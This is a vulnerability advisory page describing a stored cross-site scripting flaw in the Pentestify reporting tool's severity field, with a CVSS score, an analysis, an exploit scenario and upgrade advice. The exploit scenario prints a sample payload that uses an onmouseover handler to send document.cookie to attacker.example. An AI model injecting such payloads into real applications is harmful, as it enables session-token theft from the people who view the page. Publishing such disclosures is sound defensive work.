EUVD-2026-56147
GHSA-j9f7-pmc4-vm2c
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered stored XSS requiring low-privilege write access and victim page-view; scope changes to victim browser session with limited C and I impact.
Primary rating from Vendor (Secur0).
CVSS VectorVendor: Secur0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
Cross-site Scripting in the finding renderer in maalfer Pentestify before 2.3.1 allows authenticated users to execute arbitrary JavaScript in the application origin via HTML markup stored in a finding's severity field, which the frontend interpolates unescaped into class and style attributes when rendering the report.
AnalysisAI
Stored cross-site scripting in Pentestify's finding renderer allows any authenticated user with finding-creation privileges to inject arbitrary JavaScript into the application by storing malicious markup in a finding's severity field. Because the frontend JavaScript (js/app.js) interpolates the severity value directly into HTML class attributes and CSS custom property references without sanitization, every subsequent authenticated user who views an affected findings list or report preview executes the injected script in the application's browser origin. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated Pentestify account with the ability to create or edit a finding - this corresponds to any user with standard contributor-level access to the application, not necessarily an administrator. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 base score of 5.1 (Medium) correctly reflects the network attack vector, low privilege requirement, and passive victim-interaction dependency - a realistic profile for stored XSS in a collaborative reporting tool. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated Pentestify user submits a new finding with a crafted severity value such as 'crit" onmouseover="fetch(attacker.example/exfil?c='+document.cookie+')"' via a standard HTTP request to the findings API; because the backend applied no validation prior to the fix, this string is stored verbatim in the database. When any other authenticated team member subsequently opens the findings list or navigates to the report preview, the frontend constructs the DOM using severity-${f.severity} and renders the injected attribute, executing the attacker's JavaScript in the application origin and potentially exfiltrating session tokens or performing actions on behalf of the victim. … |
| Remediation | Upgrade Pentestify to version 2.3.2 or later, available at https://github.com/ccyl13/Pentestify/releases/tag/v2.3.2; this release incorporates commit 8e81053, which applies the fix at both the server and client layers. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Pentestify
View allStored cross-site scripting in maalfer Pentestify before 1.1.0 allows an authenticated attacker to inject arbitrary Java
Server-Side Request Forgery in Pentestify's PDF export pipeline allows authenticated users to induce the server-side hea
CSS sanitizer bypass in maalfer Pentestify 1.2.0-2.3.2 allows an authenticated low-privilege user to inject CSS that vic
Stored cross-site scripting in the Markdown renderer of maalfer Pentestify before v2.3.2 allows authenticated users to i
Stored XSS in Pentestify's user management component (all versions before 1.1.1) enables an authenticated attacker to ex
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today